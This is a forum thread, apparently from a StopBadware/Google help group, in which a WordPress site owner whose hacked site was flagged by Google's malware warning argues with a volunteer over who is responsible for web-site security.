You as the 'web master' take responsibility for protecting your site from malware. The hackers are 100% at fault for the attack, but you still have a responsibility to keep your site clean. That is a sad but true fact in this day and age... You'll also find that hosting malware is against the TOS/AUP of your web host (if they are anyway half decent), so they could pull your account if they so wished. Usually a decent web-host (using a share web hosting platform like yours) will have the measures in place to reduce or prevent these sort of attacks. There have been multiple instances of web hosts being at fault for allowing the malware guys onto the web server and the Web Hosts are not always forthright in owning up to this. And any web host that doesn't know what or why the warning exist, isn't safe to do business with. These days there is are an ever increasing amount of "web hosts" that buy a dedicated server, and then host multiple sites on it, but never ever go back and patch them, update them, etc etc... Web hosts too have a major responsibility... (I'm not sure who you are hosting with directly, but you are on a "The Planet" server which shows 620 other web sites on your same IP)
> It's my responsibility to check webmastertools daily? What? Does that > mean every site owner needs a Google account? Is this how we prevent > Google from adding a "This site may harm your computer." message to > our site when we've been hacked?
If you want to have your site listed in Google Index, or you care what is written against your entry in the Google Index, then yes, you do need to have access to Google WebMasters tool panel. It's not how you prevent the message, but it's how Google can communicate with you.
> Chris, email works. That's how I found your attacks on me -NOT by > checking this forum daily in my reader or browser.
I'm not attacking you, and apologies if that's the way you see it, that is NOT my intention... Email doesn't work and hasn't done for years... Over 90% (I think it's 95%) of ALL email is spam, phishing or malware carrying. Email is not the most reliable method of contacting you. When you think of the amount of web sites that Google has to deal with, the various types of WHOIS data formats, the possible combinations of contact methods within those WHOIS, you can't seriously expect them to have a contact method for every single instance. Yes they are the big G and you'd expect them to be able to afford a room full of people with a phone and ring up each web site owner personally, but logistically, do you think that would work either. They know the Webmaster method isn't the ideal solution, but it's the most reliable....
> Is Google really protecting my visitors? Maybe you have evidence that > I had a visitor?
You have a PR4 site, so I'd be safe to assume that you have 'some' visitors. If you didn't have any visitors, you wouldn't be complaining about Google damaging your 'brand'...
> Maybe you have evidence that someone's machine was > affected?
You'll notice I always said "potential" or "could", and no where did I claim any ones PC was definitely infected. And I specifically ensured that I didn't push any blame on your site for infecting people, only that it *could* have.
But we all know that there are a percentage of users out there with old browsers, out-dated AV or AS solutions, so it is safe to assume that a percentage of visitors to an infected site WILL be infected.
> Should we all turn over responsibility to stopbadware and > Google for our online protection?
No, because ultimate responsibility for the security of the web site is down the the web master of that web site. Google are merely protecting the users of THEIR index against visiting malware infected sites.
> How is this related to organizing > the world's information?
Haven't got a clue...
> Vint, does this guy represent your position from a Google perspective?
As I said, I'm a volunteer in this group with no ties to Stopbadware or Google.
> Gee, Chris, is there anything wrong with including my experience with > others?
Absolutely nothing wrong with it too... But then you should expect replies to your views.
> What's wrong with me bringing more awareness to the issues?
Again nothing, but what issue? Had you have spent 5mins searching this group for similar issues, you would have solved yours and learned exactly what was going on and why...
> Maybe I should just keep quiet? Should I keep quiet because I'm under > safety umbrella of Google and Stopbadware.org? Are you protecting me > too Chris?
No you don't need to keep quiet... I too believe that Google could do things better in relation to how they go about asserting the warning, but I don't have an argument with what they are doing... I had malware on my own site, I got listed, I got blocked and I had to deal with it... But it wasn't Googles fault, it was my own... But you fail to see why Google listed your site (because you also failed to find or understand the problem with your site).
I'm not protecting you, but had you have come in here asking for help, I would have been more than willing to offer it, as would have the many other volunteers in here. We are not protecting you, we are helping you, and protecting your visitors...
> One thing you got right Chris, is the fact that I am somewhat clueless > about web safety. I even ignored a warning from WordPress indicating > that I should upgrade my version at bigislandfun.com.
It's not you, we are all clueless.... In 2007 there were over 17,000 variants of the Storm Worm for example. We are fighting a constant battle against the malware writers and distributors and most times it's like piddling into the wind... So what chance do the little guys have?
> Chris, you have a demonstrated ability to assess a situation and > attack without having all the facts.
I'm not attacking you, but bugger me, even if I was, you came into this group with the most hostile posting ever made... Your first post to the group was out and out hostile, what did you expect in return.. "Little guy with an axe and a big tree?" You started telling us of how you were going to spread the word about the "Evil G". You even created a new website dedicated to the act...
I wasn't the one doing the attacking.... and I certainly have more of an understanding of the facts than you did..
> We may have to agree to disagree on my personal web management > abilities. I guess there's no protection from personal attacks here at > Google or Stopbadware.org.
Brent... trust me, I don't do personal attacks... If that is how it came across then you have just proved I do do bad English (erm...I'm a Brit btw)....
> Fwiw, that's part of what I like about the > web. I also like the fact that many of us are still learning.
It is a continual learning process for all of us...
> What I teach is also my business. Why not drop by one of my classes? > You probably wouldn't find any enlightenment either but maybe you > could show me your gifts of accusation and judgment in person?
I only asked because you stated:
> I'll also be recommending much less google inclusive > marketing strategy when I teach.
Just made me wonder what exactly you teach... If you were teaching "internet web security", I'd be a little concerned... But if you were teaching "How to find the best surf on so and so beach", I'd understand more where you are coming from...
> Stop protecting me from badware. That's my responsibility. Stop adding > messages to my online brand.
And that is where I am in agreement with you... I would rather
...
You are so right Chris!
Thank you so much for being you.
You're an asset to everyone.
You're brilliant!
You're knowledge of the web is only superceeded by your amazing
communication skills.
I will dedicate a portion of my work this year to showing how right
you are. Google and Stopbadware.org should be extremely please to have
your representing their organizations.
Someone with you insight and ability to always be right are amazing.
Webmasters and Internet visitors everywhere should be happy to know
you're on the job.
Let's hope we get more of these, "This site may harm your computer."
messages so more people can experience your great service. You and
Google and Stopbadware.org should get an award for being so right.
On Jan 30, 1:41 pm, Chris Wright <chris.a.wri...@gmail.com> wrote:
> -Brent wrote:
> > Chris, I don't owe anyone an apology that has not been affected. If I
> > knew of one person that was affected, of course I would apologize. I
> > am responsible for the content on my site -NOT Google!
> You are also responsible for the security of your site.> It's only noon out here. It took three days to remove the "This site
> > may harm your computer" message. You think I should already have an
> > apology on my site? I just found out the "This site may harm your
> > computer" message has been removed. How about keeping my apologies to
> > my visitors between me and my visitors? Isn't that exactly what your
> > claiming about Google rights to "their" listings and "their" users.
> I was referring to what you had written in your blog post:
> > We have run virus checks as well as in-depth code checks to insure
> > there is nothing on this site that could harm your computer! We have
> > never run anything questionable. Google's site index is indicating
> > that this site could be harmful.
> > It's not true. Our web hosting provider has also checked our site.
> > *There is no badware or malware on this site!*
> You came into the group, not requesting help, but slamming Google and
> StobBadware for its actions, yet you have shown that you have no
> knowledge of the problem.
> Obviously your 'rant' is born out of 'understandable' frustration, but
> those are some pretty daft claims above for someone who obviously
> doesn't understand the problem.
> Once you realise the potential danger that the malware on your site
> posed, you would understand Google's reasons for displaying the
> warning. As to how they display it, I don't agree with that 100% and
> I'm partly with you, but that's a different subject.
> So what were these in-depth code checks that you ran?
> A simple compare of the present code with an archived code would have
> shown you the problem.
> Google was 100% right that there was malware on your site that "could"
> damage a visitors computer...> You're wrong about my version of WordPress. I'm using 2.3.2 for the
> > record. This addressed the sql injection vulnerability. My hosting
> > provider does ot provide a method for installing an older version of
> > WordPress. WordPress is not to blame. The person that hacked my site
> > is to blame. My hosting provider isn't to blame. The person that
> > hacked my site on their server is to blame.
> You as the 'web master' take responsibility for protecting your site
> from malware. The hackers are 100% at fault for the attack, but you
> still have a responsibility to keep your site clean. That is a sad but
> true fact in this day and age...
> You'll also find that hosting malware is against the TOS/AUP of your web
> host (if they are anyway half decent), so they could pull your account
> if they so wished. Usually a decent web-host (using a share web hosting
> platform like yours) will have the measures in place to reduce or
> prevent these sort of attacks.
> There have been multiple instances of web hosts being at fault for
> allowing the malware guys onto the web server and the Web Hosts are not
> always forthright in owning up to this.
> And any web host that doesn't know what or why the warning exist, isn't
> safe to do business with.
> These days there is are an ever increasing amount of "web hosts" that
> buy a dedicated server, and then host multiple sites on it, but never
> ever go back and patch them, update them, etc etc... Web hosts too have
> a major responsibility...
> (I'm not sure who you are hosting with directly, but you are on a "The
> Planet" server which shows 620 other web sites on your same IP)> It's my responsibility to check webmastertools daily? What? Does that
> > mean every site owner needs a Google account? Is this how we prevent
> > Google from adding a "This site may harm your computer." message to
> > our site when we've been hacked?
> If you want to have your site listed in Google Index, or you care what
> is written against your entry in the Google Index, then yes, you do need
> to have access to Google WebMasters tool panel.
> It's not how you prevent the message, but it's how Google can
> communicate with you.> Chris, email works. That's how I found your attacks on me -NOT by
> > checking this forum daily in my reader or browser.
> I'm not attacking you, and apologies if that's the way you see it, that
> is NOT my intention...
> Email doesn't work and hasn't done for years... Over 90% (I think it's
> 95%) of ALL email is spam, phishing or malware carrying.
> Email is not the most reliable method of contacting you.
> When you think of the amount of web sites that Google has to deal with,
> the various types of WHOIS data formats, the possible combinations of
> contact methods within those WHOIS, you can't seriously expect them to
> have a contact method for every single instance.
> Yes they are the big G and you'd expect them to be able to afford a room
> full of people with a phone and ring up each web site owner personally,
> but logistically, do you think that would work either.
> They know the Webmaster method isn't the ideal solution, but it's the
> most reliable....> Is Google really protecting my visitors? Maybe you have evidence that
> > I had a visitor?
> You have a PR4 site, so I'd be safe to assume that you have 'some' visitors.
> If you didn't have any visitors, you wouldn't be complaining about
> Google damaging your 'brand'...> Maybe you have evidence that someone's machine was
> > affected?
> You'll notice I always said "potential" or "could", and no where did I
> claim any ones PC was definitely infected. And I specifically ensured
> that I didn't push any blame on your site for infecting people, only
> that it *could* have.
> But we all know that there are a percentage of users out there with old
> browsers, out-dated AV or AS solutions, so it is safe to assume that a
> percentage of visitors to an infected site WILL be infected.> Should we all turn over responsibility to stopbadware and
> > Google for our online protection?
> No, because ultimate responsibility for the security of the web site is
> down the the web master of that web site.
> Google are merely protecting the users of THEIR index against visiting
> malware infected sites.> How is this related to organizing
> > the world's information?
> Haven't got a clue...> Vint, does this guy represent your position from a Google perspective?
> As I said, I'm a volunteer in this group with no ties to Stopbadware or
> Google.> Gee, Chris, is there anything wrong with including my experience with
> > others?
> Absolutely nothing wrong with it too...
> But then you should expect replies to your views.> What's wrong with me bringing more awareness to the issues?
> Again nothing, but what issue?
> Had you have spent 5mins searching this group for similar issues, you
> would have solved yours and learned exactly what was going on and why...> Maybe I should just keep quiet? Should I keep quiet because I'm under
> > safety umbrella of Google and Stopbadware.org? Are you protecting me
> > too Chris?
> No you don't need to keep quiet... I too believe that Google could do
> things better in relation to how they go about asserting the warning,
> but I don't have an argument with what they are doing...
> I had malware on my own site, I got listed, I got blocked and I had to
> deal with it...
> But it wasn't Googles fault, it was my own...
> But you fail to see why Google listed your site (because you also failed
> to find or understand the problem with your site).
> I'm not protecting you, but had you have come in here asking for help, I
> would have been more than willing to offer it, as would have the many
> other volunteers in here. We are not protecting you, we are helping you,
> and protecting your visitors...> One thing you got right Chris, is the fact that I am somewhat clueless
> > about web safety. I even ignored a warning from WordPress indicating
> > that I should upgrade my version at bigislandfun.com.
> It's not you, we are all clueless.... In 2007 there were over 17,000
> variants of the Storm Worm for example.
> We are fighting a constant battle against the malware writers and
> distributors and most times it's like piddling into the wind...
> So what chance do the little guys have?> Chris, you have a demonstrated ability to assess a situation and
> > attack without having all the facts.
> I'm not attacking you, but bugger me, even if I was, you came into this
> group with the most hostile posting ever made...
> Your first post to the group was out and out hostile, what did you
> expect in return..
> "Little guy with an axe and a big tree?"
> You started telling us of how you were going to spread the word about
> the "Evil G".
> You even created a new website dedicated to the act...
> I wasn't the one doing the attacking.... and I certainly have more of an
> understanding of the facts than you did..> We may have
Ah... I take it I did rather piss you off with my first reply then :(
-Brent wrote: > You are so right Chris!
Actually, being called Chris Wright at birth wasn't an accident, (birth was the accident)
> Thank you so much for being you.
My wife doesn't have the same opinion..
> You're an asset to everyone.
Erm... leave out ET out of assset and you'll be closer to the truth
> You're brilliant!
Dazzling, only because of my silky white British sun starved skin...
> You're knowledge of the web is only superceeded by your amazing > communication skills.
Of which I have shown once again to be lacking in :(
> I will dedicate a portion of my work this year to showing how right > you are. Google and Stopbadware.org should be extremely please to have > your representing their organizations.
I don't represent them in any way shape or form, and they wouldn't have me... I'd do nothing for customer relations
> Someone with you insight and ability to always be right are amazing.
Product of a misspent youth
> Webmasters and Internet visitors everywhere should be happy to know > you're on the job.
That would mean I've left the web cam on again and forgotten to close the bog door...
> Let's hope we get more of these, "This site may harm your computer." > messages so more people can experience your great service. You and > Google and Stopbadware.org should get an award for being so right.
More of them? I hate those damn message as much as you (a point I think you missed). A quick Google for "This site may harm your computer" will give 382,000 results... so you are not alone, take comfort in that.. That's up to 382,000 on OUR side... And there are 243479 sites listed on the Stopbadware database (of which there will be some overlap), and I can bet over 50% of those don't even know their sites are listed....
And look, you totally glossed over my many grumbling apologies.... I really didn't mean to make it appear so personal attack on you in the first reply...
Thanks, Chris, for taking the time to explain everything. Your
post(s) were certainly more enjoyable to read than the FAQ. I was
recently the recipient of the Google warning at www.favicon.co.uk I heard about it about 2 hours before I was to fly out to Portugal for
a weeks golfing! Not a major problem as its a non profit "fun" site
BUT...I did feel responsible enough to make my taxi driver wait whilst
I deleted 800 links in the gallery JUST to make sure I deleted the
offending link.
I got one of my staff to submit the review form and everything was
back to normal within a few days.
The upshot...I'm certainly more informed and will certainly be much
more careful about who I link to in the future.
I think its good that a corporation the size of Google do actually
care about the way the internet is evolving.
Chris, while I appreciate your email, I'd like to keep the discussion
in an open forum.
I found your comments to be sympathetic, inaccurate and phishy.
Attacking me and apologizing later is not an acceptable behavior from
a fellow netizen. Forgiveness and trust comes from actions, not words.
Thank you anyway.
Brent
On Jan 30, 8:06 pm, Chris Wright <chris.a.wri...@gmail.com> wrote:
> Ah... I take it I did rather piss you off with my first reply then :(
> -Brent wrote:
> > You are so right Chris!
> Actually, being called Chris Wright at birth wasn't an accident, (birth
> was the accident)> Thank you so much for being you.
> My wife doesn't have the same opinion..> You're an asset to everyone.
> Erm... leave out ET out of assset and you'll be closer to the truth> You're brilliant!
> Dazzling, only because of my silky white British sun starved skin...> You're knowledge of the web is only superceeded by your amazing
> > communication skills.
> Of which I have shown once again to be lacking in :(> I will dedicate a portion of my work this year to showing how right
> > you are. Google and Stopbadware.org should be extremely please to have
> > your representing their organizations.
> I don't represent them in any way shape or form, and they wouldn't have
> me... I'd do nothing for customer relations> Someone with you insight and ability to always be right are amazing.
> Product of a misspent youth> Webmasters and Internet visitors everywhere should be happy to know
> > you're on the job.
> That would mean I've left the web cam on again and forgotten to close
> the bog door...> Let's hope we get more of these, "This site may harm your computer."
> > messages so more people can experience your great service. You and
> > Google and Stopbadware.org should get an award for being so right.
> More of them?
> I hate those damn message as much as you (a point I think you missed).
> A quick Google for "This site may harm your computer" will give 382,000
> results... so you are not alone, take comfort in that..
> That's up to 382,000 on OUR side...
> And there are 243479 sites listed on the Stopbadware database (of which
> there will be some overlap), and I can bet over 50% of those don't even
> know their sites are listed....
> And look, you totally glossed over my many grumbling apologies....
> I really didn't mean to make it appear so personal attack on you in the
> first reply...
-Brent wrote: > Chris, while I appreciate your email, I'd like to keep the discussion > in an open forum.
Not a problem, but as I had inadvertently upset you with my comments, I really wanted to make sure you understood it wasn't intentional and in now way did I meat it to sound like personal attack.
|
